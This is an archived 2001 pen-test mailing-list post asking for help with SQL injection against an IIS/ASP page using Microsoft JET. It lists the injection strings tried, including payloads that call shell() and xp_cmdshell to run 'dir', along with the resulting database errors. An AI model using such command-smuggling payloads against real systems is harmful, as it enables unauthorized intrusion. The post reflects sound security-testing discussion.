

JET sql help please anyone

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2001-11/0138.html>

From: Gary O'leary-Steele (GaryO@sec-1.com)

Date: 11/30/01

From: "Gary O'leary-Steele" <GaryO@sec-1.com>
To: <PEN-TEST@securityfocus.com>
Subject: JET sql help please anyone
Date: Fri, 30 Nov 2001 12:07:14 -0000
Message-ID: <NLEEKGBCFBNEHNPCPNFLGECNCAA.GaryO@sec-1.com>

hello all,

I am performing a pen test against a IIS server which uses Microsoft jet to contact a database. I tried the usual stuff such as ' in the various fields and received a promising error

Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression '((User.UserCurrent)=True) AND (User.UserId = "") ORDER BY user.Name'.

/blah/blahbalh/search.asp, line 66

And then tried

```
' )OR |shell("dir");
```

and got

Microsoft JET Database Engine error '80040e14'
Invalid use of vertical bars in query expression '((user.userCurrent)=True) AND (user.userId = ")OR |shell("dir")|'.

/blah/blahbalh/search.asp, line 66

So i tried

```
admin' ); master..xp_cmdshell("dir");--
```

And received

Microsoft JET Database Engine error '80040e14'
Characters found after end of SQL statement.

/blah/blahbalh/search.asp, line 66

JET sql help please anyone

SecurityFocus Penetration: JET sql help please anyone

various other errors occurred during the test such as

Microsoft JET Database Engine error '80040e14'

Invalid SQL statement; expected 'DELETE', 'INSERT', 'PROCEDURE', 'SELECT', or 'UPDATE'.

Any ideas?

Regards,
Gary

This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: <https://alerts.securityfocus.com/>

- **Previous message:** Zen: "Re: opinions on Vigilante's SecureScanNX for attack/pen work?"
- **Next in thread:** Kevin Spett: "Re: JET sql help please anyone"
- **Reply:** Kevin Spett: "Re: JET sql help please anyone"
- **Messages sorted by:** [date] [thread] [subject] [author] [attachment]